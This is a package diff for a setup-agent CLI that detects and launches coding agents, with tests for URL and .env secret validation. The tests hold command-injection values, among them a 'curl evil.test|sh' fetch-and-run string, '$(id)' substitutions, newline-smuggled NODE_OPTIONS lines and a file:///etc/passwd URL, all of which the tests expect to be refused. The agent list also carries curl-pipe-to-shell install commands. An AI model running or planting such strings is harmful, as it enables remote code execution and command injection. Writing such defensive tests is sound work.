setup-agent 0.0.7 → 0.0.9

package/src/agents.test.ts

@@ -0,0 +1,137 @@
+import { chmod, mkdtemp, rm, writeFile } from "node:fs/promises";
+import { tmpdir } from "node:os";
+import { join } from "node:path";
+import { describe, expect, it, onTestFinished } from "vitest";
+import {
+  CODING_AGENTS,
+  detectAgentKind,
+  findCommand,
+  isDirectInvocation,
+  runCodingAgent,
+} from "./agents";
+
+describe("CODING_AGENTS", () => {
+  it("lists the twenty most used coding agents once each", () => {
+    expect(CODING_AGENTS).toHaveLength(20);
+    const kinds = CODING_AGENTS.map((agent) => agent.kind);
+    expect(new Set(kinds).size).toBe(kinds.length);
+    expect(kinds.slice(0, 4)).toEqual(["claude", "codex", "cursor", "gemini"]);
+  });
+
+  it("starts an agent with the prompt as its first message", () => {
+    const byKind = Object.fromEntries(
+      CODING_AGENTS.map((agent) => [agent.kind, agent]),
+    );
+    expect(byKind.claude!.launch!.args("go")).toEqual(["go"]);
+    expect(byKind.gemini!.launch!.args("go")).toEqual(["-i", "go"]);
+    expect(byKind.opencode!.launch!.args("go")).toEqual(["--prompt", "go"]);
+    expect(byKind.windsurf!.launch).toBeUndefined();
+  });
+});
+
+describe("detectAgentKind", () => {
+  it("reads the agent from AI_AGENT first", () => {
+    expect(detectAgentKind({ AI_AGENT: "claude-code_2-1-3_agent" })).toBe(
+      "claude",
+    );
+    expect(detectAgentKind({ AI_AGENT: "github-copilot" })).toBe("copilot");
+    expect(detectAgentKind({ AI_AGENT: "some-new-agent" })).toBe("other");
+    expect(detectAgentKind({ AI_AGENT: " " })).toBeUndefined();
+    expect(detectAgentKind({ AI_AGENT: "claudette" })).toBe("other");
+    expect(detectAgentKind({ AI_AGENT: "codex" })).toBe("codex");
+    expect(
+      detectAgentKind({
+        AI_AGENT: "claude-code_2-1-3_agent",
+        CODEX_THREAD_ID: "t",
+      }),
+    ).toBe("claude");
+  });
+
+  it("reads the variables each agent exports to its shell", () => {
+    expect(detectAgentKind({ CODEX_THREAD_ID: "t" })).toBe("codex");
+    expect(detectAgentKind({ QWEN_CODE: "1" })).toBe("qwen");
+    expect(detectAgentKind({ OPENCODE_CLIENT: "cli" })).toBe("opencode");
+    expect(detectAgentKind({ AUGMENT_AGENT: "1" })).toBe("augment");
+  });
+
+  it("treats a person at a terminal inside an editor, or with Goose configured, as no agent", () => {
+    expect(detectAgentKind({ GOOSE_PROVIDER: "openai" })).toBeUndefined();
+    expect(
+      detectAgentKind({ CURSOR_TRACE_ID: "x", TERM_PROGRAM: "vscode" }),
+    ).toBe(undefined);
+    expect(
+      isDirectInvocation(
+        { CURSOR_TRACE_ID: "x" },
+        { isTTY: true },
+        { isTTY: true },
+      ),
+    ).toBe(true);
+  });
+});
+
+describe("findCommand and runCodingAgent", () => {
+  const binDirectory = async () => {
+    const directory = await mkdtemp(join(tmpdir(), "setup-agent-bin-"));
+    onTestFinished(() => rm(directory, { recursive: true, force: true }));
+    const script = join(directory, "fake-agent");
+    await writeFile(
+      script,
+      '#!/bin/sh\n[ "$1" = "-i" ] && [ "$2" = "hello" ] && exit 7\nexit 1\n',
+    );
+    await chmod(script, 0o755);
+    const second = join(directory, "other-agent");
+    await writeFile(second, "#!/bin/sh\nexit 0\n");
+    await chmod(second, 0o755);
+    return directory;
+  };
+
+  it.skipIf(process.platform === "win32")(
+    "finds the first installed command and runs it with the prompt",
+    async () => {
+      const directory = await binDirectory();
+      const path = process.env.PATH;
+      process.env.PATH = `${directory}:${path}`;
+      onTestFinished(() => {
+        process.env.PATH = path;
+      });
+      expect(findCommand(["missing-agent", "fake-agent"])).toBe("fake-agent");
+      expect(findCommand(["other-agent", "fake-agent"])).toBe("other-agent");
+      expect(findCommand(["fake-agent", "other-agent"])).toBe("fake-agent");
+      expect(findCommand(["fake-agent"], { PATH: "" })).toBeUndefined();
+      expect(findCommand(["missing-agent"])).toBeUndefined();
+      const code = await runCodingAgent(
+        {
+          kind: "fake",
+          name: "Fake",
+          launch: {
+            commands: ["fake-agent"],
+            args: (prompt) => ["-i", prompt],
+            install: "",
+          },
+        },
+        "hello",
+      );
+      expect(code).toBe(7);
+    },
+  );
+
+  it("reports an agent it cannot start as not installed", async () => {
+    expect(
+      await runCodingAgent(
+        {
+          kind: "fake",
+          name: "Fake",
+          launch: {
+            commands: ["no-such-agent-xyz"],
+            args: () => [],
+            install: "",
+          },
+        },
+        "hello",
+      ),
+    ).toBeUndefined();
+    expect(await runCodingAgent({ kind: "zed", name: "Zed" }, "hi")).toBe(
+      undefined,
+    );
+  });
+});

package/src/agents.ts

@@ -0,0 +1,243 @@
+import spawn from "cross-spawn";
+import { accessSync, constants } from "node:fs";
+import { delimiter, join } from "node:path";
+
+/**
+ * A coding agent a person can hand a setup to. `launch` is set when the
+ * agent has a terminal command that opens an interactive session with a
+ * first prompt; the others are handed the prompt to paste.
+ */
+export type CodingAgent = {
+  kind: string;
+  name: string;
+  launch?: {
+    /** Command names to try in order; the first one on PATH runs. */
+    commands: readonly string[];
+    args: (prompt: string) => string[];
+    install: string;
+  };
+};
+
+/** The coding agents people use most, in the order the picker lists them. */
+export const CODING_AGENTS: readonly CodingAgent[] = [
+  {
+    kind: "claude",
+    name: "Claude Code",
+    launch: {
+      commands: ["claude"],
+      args: (prompt) => [prompt],
+      install: "npm install -g @anthropic-ai/claude-code",
+    },
+  },
+  {
+    kind: "codex",
+    name: "Codex",
+    launch: {
+      commands: ["codex"],
+      args: (prompt) => [prompt],
+      install: "npm install -g @openai/codex",
+    },
+  },
+  {
+    kind: "cursor",
+    name: "Cursor",
+    launch: {
+      commands: ["cursor-agent", "agent"],
+      args: (prompt) => [prompt],
+      install: "curl https://cursor.com/install -fsS | bash",
+    },
+  },
+  {
+    kind: "gemini",
+    name: "Gemini CLI",
+    launch: {
+      commands: ["gemini"],
+      args: (prompt) => ["-i", prompt],
+      install: "npm install -g @google/gemini-cli",
+    },
+  },
+  {
+    kind: "copilot",
+    name: "Copilot CLI",
+    launch: {
+      commands: ["copilot"],
+      args: (prompt) => ["-i", prompt],
+      install: "npm install -g @github/copilot",
+    },
+  },
+  { kind: "amp", name: "Amp" },
+  {
+    kind: "opencode",
+    name: "OpenCode",
+    launch: {
+      commands: ["opencode"],
+      args: (prompt) => ["--prompt", prompt],
+      install: "npm install -g opencode-ai",
+    },
+  },
+  { kind: "cline", name: "Cline" },
+  { kind: "aider", name: "Aider" },
+  { kind: "goose", name: "Goose" },
+  { kind: "warp", name: "Warp" },
+  { kind: "windsurf", name: "Windsurf" },
+  {
+    kind: "kiro",
+    name: "Kiro",
+    launch: {
+      commands: ["kiro-cli"],
+      args: (prompt) => ["chat", prompt],
+      install: "curl -fsSL https://cli.kiro.dev/install | bash",
+    },
+  },
+  { kind: "junie", name: "Junie" },
+  {
+    kind: "qwen",
+    name: "Qwen Code",
+    launch: {
+      commands: ["qwen"],
+      args: (prompt) => ["-i", prompt],
+      install: "npm install -g @qwen-code/qwen-code",
+    },
+  },
+  { kind: "roo", name: "Roo Code" },
+  { kind: "zed", name: "Zed" },
+  {
+    kind: "augment",
+    name: "Augment",
+    launch: {
+      commands: ["auggie"],
+      args: (prompt) => [prompt],
+      install: "npm install -g @augmentcode/auggie",
+    },
+  },
+  {
+    kind: "droid",
+    name: "Factory Droid",
+    launch: {
+      commands: ["droid"],
+      args: (prompt) => [prompt],
+      install: "curl -fsSL https://app.factory.ai/cli | sh",
+    },
+  },
+  { kind: "crush", name: "Crush" },
+];
+
+/** The variables each agent exports to the shells it runs commands in. */
+const AGENT_ENV: readonly [kind: string, variable: string][] = [
+  ["claude", "CLAUDECODE"],
+  ["claude", "CLAUDE_CODE"],
+  ["codex", "CODEX_SANDBOX"],
+  ["codex", "CODEX_SANDBOX_NETWORK_DISABLED"],
+  ["codex", "CODEX_CI"],
+  ["codex", "CODEX_THREAD_ID"],
+  ["cursor", "CURSOR_AGENT"],
+  ["gemini", "GEMINI_CLI"],
+  ["qwen", "QWEN_CODE"],
+  ["copilot", "COPILOT_AGENT"],
+  ["copilot", "COPILOT_CLI"],
+  ["opencode", "OPENCODE_CLIENT"],
+  ["augment", "AUGMENT_AGENT"],
+  ["junie", "JUNIE_DATA"],
+];
+
+/** `AI_AGENT` values name the agent first, such as `claude-code_2-1-3_agent` or `github-copilot`. */
+const AI_AGENT_PREFIXES: readonly [prefix: string, kind: string][] = [
+  ["claude", "claude"],
+  ["codex", "codex"],
+  ["cursor", "cursor"],
+  ["gemini", "gemini"],
+  ["github-copilot", "copilot"],
+  ["github_copilot", "copilot"],
+  ["copilot", "copilot"],
+  ["opencode", "opencode"],
+  ["augment", "augment"],
+  ["auggie", "augment"],
+  ["qwen", "qwen"],
+  ["amp", "amp"],
+  ["goose", "goose"],
+  ["junie", "junie"],
+  ["droid", "droid"],
+  ["factory", "droid"],
+  ["kiro", "kiro"],
+  ["cline", "cline"],
+  ["crush", "crush"],
+];
+
+/** The coding agent this process runs under, from the variables each one exports to its shell. */
+export const detectAgentKind = (
+  env: NodeJS.ProcessEnv = process.env,
+): string | undefined => {
+  const named = env.AI_AGENT?.trim().toLowerCase();
+  if (named) {
+    // The name, or the name followed by a separator and a version or role.
+    const match = AI_AGENT_PREFIXES.find(
+      ([prefix]) =>
+        named.startsWith(prefix) &&
+        (named.length === prefix.length ||
+          /[-_ ./0-9]/.test(named[prefix.length]!)),
+    );
+    return match?.[1] ?? "other";
+  }
+  return AGENT_ENV.find(([, variable]) => env[variable])?.[0];
+};
+
+/** True when a person typed the command into a terminal rather than an agent running it from its shell. */
+export const isDirectInvocation = (
+  env: NodeJS.ProcessEnv = process.env,
+  stdin: { isTTY?: boolean | undefined } = process.stdin,
+  stdout: { isTTY?: boolean | undefined } = process.stdout,
+) =>
+  detectAgentKind(env) === undefined &&
+  stdin.isTTY === true &&
+  stdout.isTTY === true;
+
+/** The first of `commands` found on PATH, or `undefined`. */
+export const findCommand = (
+  commands: readonly string[],
+  env: NodeJS.ProcessEnv = process.env,
+): string | undefined => {
+  // Empty entries (the working directory) are skipped on purpose: a project
+  // must not be able to plant its own `claude` next to the user.
+  const directories = (env.PATH ?? "").split(delimiter).filter(Boolean);
+  const extensions =
+    process.platform === "win32"
+      ? (env.PATHEXT ?? ".EXE;.CMD;.BAT").split(";")
+      : [""];
+  return commands.find((command) =>
+    directories.some((directory) =>
+      extensions.some((extension) => {
+        try {
+          accessSync(join(directory, command + extension), constants.X_OK);
+          return true;
+        } catch {
+          return false;
+        }
+      }),
+    ),
+  );
+};
+
+/**
+ * Starts `agent` in this terminal with `prompt` as its first message and
+ * resolves with its exit code; `undefined` when its command is not installed.
+ */
+export const runCodingAgent = (
+  agent: CodingAgent,
+  prompt: string,
+): Promise<number | undefined> => {
+  const launch = agent.launch;
+  if (!launch) return Promise.resolve(undefined);
+  const command = findCommand(launch.commands);
+  if (command === undefined) return Promise.resolve(undefined);
+  const child = spawn(command, launch.args(prompt), { stdio: "inherit" });
+  return new Promise((resolve) => {
+    child.on("error", (error: NodeJS.ErrnoException) => {
+      if (error.code === "ENOENT") resolve(undefined);
+      else {
+        process.stderr.write(`${error.message}\n`);
+        resolve(1);
+      }
+    });
+    child.on("exit", (status) => resolve(status ?? 1));
+  });
+};

package/src/cli.test.ts

@@ -26,6 +26,7 @@ import {
   diffEvents,
   detectAgentKind,
   isDirectInvocation,
+  parseSetupUrl,
   upsertEnvLine,
   waitForStart,
   writeEnvSecret,
@@ -307,6 +308,87 @@ describe("upsertEnvLine", () => {
     ).toBe("A=1\nOPENAI_API_KEY=sk-2\nB=2\n");
     expect(upsertEnvLine("A=1\n", "B", "2")).toBe("A=1\nB=2\n");
   });
+
+  it.each([
+    "sk-1\nNODE_OPTIONS=--require ./evil.js",
+    "sk-1\rNODE_OPTIONS=x",
+    "sk-1\u0000",
+    "sk-1\u2028NODE_OPTIONS=x",
+    "sk-1\u0085NODE_OPTIONS=x",
+  ])("refuses a value that would add lines: %j", (value) => {
+    expect(() => upsertEnvLine("A=1\n", "OPENAI_API_KEY", value)).toThrow(
+      "must be a single line",
+    );
+  });
+
+  it("keeps an = inside the value on the key's own line", () => {
+    expect(upsertEnvLine("", "KEY", "abc==")).toBe("KEY=abc==\n");
+  });
+});
+
+describe("parseSetupUrl", () => {
+  it.each([
+    ["https://checkout.test/session", "https://checkout.test/session"],
+    ["https://checkout.test/session/", "https://checkout.test/session"],
+    ["https://checkout.test", "https://checkout.test"],
+    ["HTTPS://Checkout.Test:8443/a/b", "https://checkout.test:8443/a/b"],
+    ["http://localhost:18892/checkout/s", "http://localhost:18892/checkout/s"],
+    ["http://127.0.0.1:8787/checkout/s", "http://127.0.0.1:8787/checkout/s"],
+    ["http://[::1]:8787/checkout/s", "http://[::1]:8787/checkout/s"],
+    ["http://app.localhost/checkout/s", "http://app.localhost/checkout/s"],
+  ])("accepts %j", (value, href) => {
+    expect(parseSetupUrl(value)).toBe(href);
+  });
+
+  it.each([
+    ["not a url", "is not a URL"],
+    ["http://checkout.test/session", "must use https"],
+    ["http://localhost.evil.test/session", "must use https"],
+    ["ftp://checkout.test/session", "must use https"],
+    ["file:///etc/passwd", "must use https"],
+    ["javascript:alert(1)", "must use https"],
+    ["https://user:pass@checkout.test/session", "must not carry credentials"],
+    [
+      "https://checkout.test/session?x=$(touch /tmp/pwned)",
+      "query or fragment",
+    ],
+    ["https://checkout.test/session?", "query or fragment"],
+    ["https://checkout.test/session#`id`", "query or fragment"],
+    ["https://checkout.test/s;curl evil.test|sh", "characters"],
+    ["https://checkout.test/s$(id)", "characters"],
+    ["https://checkout.test/s'&&id&&'", "characters"],
+    ["https://checkout.test/s!x*y", "characters"],
+  ])("refuses %j", (value, message) => {
+    expect(() => parseSetupUrl(value)).toThrow(message);
+  });
+
+  it("keeps characters the parser escapes from reaching a shell", () => {
+    const href = parseSetupUrl('https://checkout.test/s`id`"x" y<z>{w}');
+    expect(href).toBe(
+      "https://checkout.test/s%60id%60%22x%22%20y%3Cz%3E%7Bw%7D",
+    );
+  });
+
+  it("refuses an unsafe URL before connecting", async () => {
+    const exit = vi.spyOn(process, "exit").mockImplementation(() => {
+      throw new Error("exit");
+    });
+    const stderr = vi.spyOn(process.stderr, "write").mockReturnValue(true);
+    onTestFinished(() => {
+      exit.mockRestore();
+      stderr.mockRestore();
+      connectCheckoutMock.mockReset();
+    });
+    for (const url of [
+      "https://checkout.test/s;touch${IFS}/tmp/pwned",
+      "https://checkout.test/s?x=`id`",
+      "http://checkout.test/session",
+    ]) {
+      await expect(main([url, "status"])).rejects.toThrow("exit");
+    }
+    expect(connectCheckoutMock).not.toHaveBeenCalled();
+    expect(stderr).toHaveBeenCalledTimes(3);
+  });
 });
 
 describe("detectAgentKind", () => {
@@ -520,6 +602,41 @@ describe("begin planning", () => {
 });
 
 describe("agent instructions", () => {
+  it("goes straight to planning for a setup the agent started", () => {
+    const browserUrl =
+      "https://www.assistant-ui.com/components/setup#link=abc12345&setup=def67890";
+    const started = agentInstructions("https://setup.test/abc12345", {
+      startedByAgent: { browserUrl },
+    });
+    expect(started).not.toContain("click Begin plan");
+    expect(started).not.toContain("wait start\nKeep the stream running");
+    expect(started).toContain("there is no Begin plan click to wait for");
+    expect(started).toContain(browserUrl);
+    expect(started).toContain("a setup you opened in the user's browser");
+    const opened = agentInstructions("https://setup.test/abc12345");
+    expect(opened).toContain("click Begin plan");
+    expect(opened).toContain("a setup the user opened in their browser");
+  });
+
+  it("asks what to set up when the setup has no products", () => {
+    expect(agentInstructions("https://setup.test/s")).toContain(
+      "If the setup lists no products, first ask the user what to set up",
+    );
+  });
+
+  it("prints a setup URL as one quoted shell word", () => {
+    const instructions = agentInstructions("https://checkout.test/a'b;c");
+    expect(instructions).toContain(
+      "npx setup-agent 'https://checkout.test/a'\\''b;c' stream",
+    );
+    expect(instructions).not.toContain(
+      "npx setup-agent https://checkout.test/a'",
+    );
+    expect(agentInstructions("https://checkout.test/s")).toContain(
+      "npx setup-agent https://checkout.test/s stream",
+    );
+  });
+
   it("discovers related products and asks contextual entry points before the plan", () => {
     const instructions = agentInstructions(
       "http://localhost:18892/checkout/session",
@@ -651,6 +768,15 @@ describe("writeEnvSecret", () => {
     expect(take).not.toHaveBeenCalled();
   });
 
+  it("leaves the file intact when the secret is refused", async () => {
+    const file = join(await tempDir(), ".env.local");
+    await writeFile(file, "A=1\nB=2\n");
+    await expect(
+      writeEnvSecret(file, "OPENAI_API_KEY", async () => "sk-test\nEVIL=1"),
+    ).rejects.toThrow();
+    expect(await readFile(file, "utf8")).toBe("A=1\nB=2\n");
+  });
+
   it("keeps lines another writer added while the secret was being taken", async () => {
     const file = join(await tempDir(), ".env.local");
     await writeEnvSecret(file, "OPENAI_API_KEY", async () => {
@@ -985,6 +1111,85 @@ describe("model key handoff", () => {
     expect(await readFile(keyFile, "utf8")).toBe(redeemKey);
   });
 
+  it.each([
+    "sk-1\nNODE_OPTIONS=--require ./evil.js",
+    "sk-1\r\nNODE_OPTIONS=x",
+    "sk 1",
+    'sk-"1"',
+    "sk-$(id)",
+    "sk-1;id",
+    "sk-1|id",
+    "sk-1&id",
+    "sk-1>out",
+  ])(
+    "refuses a deposited key that is not one API key word: %j",
+    async (key) => {
+      const { state } = await setup();
+      answerModel(state);
+      vi.stubGlobal(
+        "fetch",
+        vi.fn(async () => new Response(key)),
+      );
+      const exit = vi.spyOn(process, "exit").mockImplementation(() => {
+        throw new Error("exit");
+      });
+      const stderr = vi.spyOn(process.stderr, "write").mockReturnValue(true);
+      onTestFinished(() => {
+        exit.mockRestore();
+        stderr.mockRestore();
+      });
+      const directory = await mkdtemp(join(tmpdir(), "setup-agent-env-"));
+      onTestFinished(() => rm(directory, { recursive: true, force: true }));
+      const file = join(directory, ".env.local");
+      await writeFile(file, "A=1\n");
+      await expect(
+        main([
+          "https://checkout.test/session",
+          "env",
+          "q1",
+          "OPENAI_API_KEY",
+          "--file",
+          file,
+        ]),
+      ).rejects.toThrow("exit");
+      expect(stderr).toHaveBeenCalledWith(
+        expect.stringContaining("the deposited key is not a valid API key"),
+      );
+      expect(await readFile(file, "utf8")).toBe("A=1\n");
+    },
+  );
+
+  it("never fetches the key over plain http off this machine", async () => {
+    await setup();
+    const fetch = vi.fn();
+    vi.stubGlobal("fetch", fetch);
+    const exit = vi.spyOn(process, "exit").mockImplementation(() => {
+      throw new Error("exit");
+    });
+    const stderr = vi.spyOn(process.stderr, "write").mockReturnValue(true);
+    onTestFinished(() => {
+      exit.mockRestore();
+      stderr.mockRestore();
+    });
+    connectCheckoutMock.mockClear();
+    await expect(
+      main(["http://checkout.test/session", "env", "q1", "OPENAI_API_KEY"]),
+    ).rejects.toThrow("exit");
+    expect(stderr).toHaveBeenCalledWith(
+      expect.stringContaining("must use https"),
+    );
+    expect(connectCheckoutMock).not.toHaveBeenCalled();
+    expect(fetch).not.toHaveBeenCalled();
+  });
+
+  it("fetches the key over http on localhost", async () => {
+    const { state } = await setup();
+    const fetch = await redeem(state, "http://localhost:18892/checkout/s");
+    expect(fetch.mock.calls[0]?.[0]).toBe(
+      "http://localhost:18892/checkout/s/secret/q1?setup=setup-a",
+    );
+  });
+
   it.skipIf(process.platform === "win32")(
     "refuses a symbolic link for the stored key",
     async () => {